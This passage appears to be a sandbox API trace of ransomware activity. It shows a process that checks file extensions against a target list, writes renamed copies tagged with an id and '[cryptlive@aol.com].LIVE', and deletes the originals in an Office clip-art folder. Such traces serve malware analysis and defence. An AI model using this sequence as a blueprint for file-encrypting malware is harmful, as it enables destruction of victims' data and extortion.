Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0154.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0154.623] lstrlenW (lpString=".doc") returned 4 [0154.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.623] lstrlenW (lpString=".docx") returned 5 [0154.623] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0154.624] lstrlenW (lpString=".pdf") returned 4 [0154.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.624] lstrlenW (lpString=".xls") returned 4 [0154.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.624] lstrlenW (lpString=".xlsx") returned 5 [0154.624] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0154.624] lstrlenW (lpString=".ppt") returned 4 [0154.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0154.624] lstrlenW (lpString=".zip") returned 4 [0154.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.624] lstrlenW (lpString=".rar") returned 4 [0154.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.624] lstrlenW (lpString=".bz2") returned 4 [0154.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.624] lstrlenW (lpString=".7z") returned 3 [0154.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0154.624] lstrlenW (lpString=".dbf") returned 4 [0154.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0154.624] lstrlenW (lpString=".1cd") returned 4 [0154.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0154.624] lstrlenW (lpString=".jpg") returned 4 [0154.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0154.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0154.624] lstrlenW (lpString=".doc") returned 4 [0154.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.624] lstrlenW (lpString=".docx") returned 5 [0154.624] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0154.624] lstrlenW (lpString=".pdf") returned 4 [0154.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.624] lstrlenW (lpString=".xls") returned 4 [0154.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.625] lstrlenW (lpString=".xlsx") returned 5 [0154.625] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0154.625] lstrlenW (lpString=".ppt") returned 4 [0154.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0154.625] lstrlenW (lpString=".zip") returned 4 [0154.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.625] lstrlenW (lpString=".rar") returned 4 [0154.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.625] lstrlenW (lpString=".bz2") returned 4 [0154.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.625] lstrlenW (lpString=".7z") returned 3 [0154.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0154.625] lstrlenW (lpString=".dbf") returned 4 [0154.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0154.625] lstrlenW (lpString=".1cd") returned 4 [0154.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF") returned 63 [0154.625] lstrlenW (lpString=".jpg") returned 4 [0154.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.625] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.625] lstrlenW (lpString="J0107152.WMF") returned 12 [0154.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.626] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=22532) returned 1 [0154.626] CloseHandle (hObject=0x380) returned 1 [0154.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf")) returned 0x20 [0154.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.626] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.626] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0154.628] GetLastError () returned 0x0 [0154.628] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x5804, lpOverlapped=0x0) returned 1 [0154.630] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x5810, lpOverlapped=0x0) returned 1 [0154.631] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.631] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.632] SetEndOfFile (hFile=0x38c) returned 1 [0154.632] CloseHandle (hObject=0x38c) returned 1 [0154.635] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.635] SetEndOfFile (hFile=0x380) returned 1 [0154.639] CloseHandle (hObject=0x380) returned 1 [0154.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf")) returned 1 [0154.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0154.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0154.640] lstrlenW (lpString=".doc") returned 4 [0154.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.640] lstrlenW (lpString=".docx") returned 5 [0154.640] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0154.640] lstrlenW (lpString=".pdf") returned 4 [0154.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.640] lstrlenW (lpString=".xls") returned 4 [0154.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.640] lstrlenW (lpString=".xlsx") returned 5 [0154.640] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0154.640] lstrlenW (lpString=".ppt") returned 4 [0154.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0154.640] lstrlenW (lpString=".zip") returned 4 [0154.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.640] lstrlenW (lpString=".rar") returned 4 [0154.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.641] lstrlenW (lpString=".bz2") returned 4 [0154.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.641] lstrlenW (lpString=".7z") returned 3 [0154.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0154.641] lstrlenW (lpString=".dbf") returned 4 [0154.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0154.641] lstrlenW (lpString=".1cd") returned 4 [0154.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0154.641] lstrlenW (lpString=".jpg") returned 4 [0154.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0154.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0154.641] lstrlenW (lpString=".doc") returned 4 [0154.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.641] lstrlenW (lpString=".docx") returned 5 [0154.641] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0154.641] lstrlenW (lpString=".pdf") returned 4 [0154.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.641] lstrlenW (lpString=".xls") returned 4 [0154.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.641] lstrlenW (lpString=".xlsx") returned 5 [0154.641] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0154.641] lstrlenW (lpString=".ppt") returned 4 [0154.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0154.641] lstrlenW (lpString=".zip") returned 4 [0154.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.641] lstrlenW (lpString=".rar") returned 4 [0154.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.641] lstrlenW (lpString=".bz2") returned 4 [0154.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.641] lstrlenW (lpString=".7z") returned 3 [0154.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0154.642] lstrlenW (lpString=".dbf") returned 4 [0154.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0154.642] lstrlenW (lpString=".1cd") returned 4 [0154.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0154.642] lstrlenW (lpString=".jpg") returned 4 [0154.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.642] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.642] lstrlenW (lpString="J0107154.WMF") returned 12 [0154.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.643] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=22300) returned 1 [0154.643] CloseHandle (hObject=0x380) returned 1 [0154.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf")) returned 0x20 [0154.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.643] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.643] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0154.644] GetLastError () returned 0x0 [0154.644] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x571c, lpOverlapped=0x0) returned 1 [0154.647] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x5720, lpOverlapped=0x0) returned 1 [0154.648] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.648] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.648] SetEndOfFile (hFile=0x38c) returned 1 [0154.648] CloseHandle (hObject=0x38c) returned 1 [0154.648] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.648] SetEndOfFile (hFile=0x380) returned 1 [0154.650] CloseHandle (hObject=0x380) returned 1 [0154.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf")) returned 1 [0154.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0154.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0154.652] lstrlenW (lpString=".doc") returned 4 [0154.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.652] lstrlenW (lpString=".docx") returned 5 [0154.652] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0154.652] lstrlenW (lpString=".pdf") returned 4 [0154.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.652] lstrlenW (lpString=".xls") returned 4 [0154.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.652] lstrlenW (lpString=".xlsx") returned 5 [0154.652] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0154.652] lstrlenW (lpString=".ppt") returned 4 [0154.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0154.652] lstrlenW (lpString=".zip") returned 4 [0154.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.652] lstrlenW (lpString=".rar") returned 4 [0154.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.652] lstrlenW (lpString=".bz2") returned 4 [0154.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.652] lstrlenW (lpString=".7z") returned 3 [0154.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0154.652] lstrlenW (lpString=".dbf") returned 4 [0154.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0154.652] lstrlenW (lpString=".1cd") returned 4 [0154.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0154.652] lstrlenW (lpString=".jpg") returned 4 [0154.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0154.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0154.652] lstrlenW (lpString=".doc") returned 4 [0154.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.653] lstrlenW (lpString=".docx") returned 5 [0154.653] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0154.653] lstrlenW (lpString=".pdf") returned 4 [0154.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.653] lstrlenW (lpString=".xls") returned 4 [0154.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.653] lstrlenW (lpString=".xlsx") returned 5 [0154.653] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0154.653] lstrlenW (lpString=".ppt") returned 4 [0154.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0154.653] lstrlenW (lpString=".zip") returned 4 [0154.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.653] lstrlenW (lpString=".rar") returned 4 [0154.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.653] lstrlenW (lpString=".bz2") returned 4 [0154.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.653] lstrlenW (lpString=".7z") returned 3 [0154.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0154.653] lstrlenW (lpString=".dbf") returned 4 [0154.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0154.653] lstrlenW (lpString=".1cd") returned 4 [0154.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0154.653] lstrlenW (lpString=".jpg") returned 4 [0154.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.654] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.654] lstrlenW (lpString="J0107158.WMF") returned 12 [0154.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.655] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=24908) returned 1 [0154.655] CloseHandle (hObject=0x380) returned 1 [0154.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf")) returned 0x20 [0154.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.655] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.655] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0154.656] GetLastError () returned 0x0 [0154.656] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x614c, lpOverlapped=0x0) returned 1 [0154.658] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x6150, lpOverlapped=0x0) returned 1 [0154.659] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.660] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.660] SetEndOfFile (hFile=0x38c) returned 1 [0154.660] CloseHandle (hObject=0x38c) returned 1 [0154.660] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.660] SetEndOfFile (hFile=0x380) returned 1 [0154.662] CloseHandle (hObject=0x380) returned 1 [0154.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf")) returned 1 [0154.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0154.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0154.663] lstrlenW (lpString=".doc") returned 4 [0154.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.663] lstrlenW (lpString=".docx") returned 5 [0154.664] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.664] lstrlenW (lpString=".pdf") returned 4 [0154.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.664] lstrlenW (lpString=".xls") returned 4 [0154.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.664] lstrlenW (lpString=".xlsx") returned 5 [0154.664] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.664] lstrlenW (lpString=".ppt") returned 4 [0154.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.664] lstrlenW (lpString="C:\\Program Files\\Microsoft 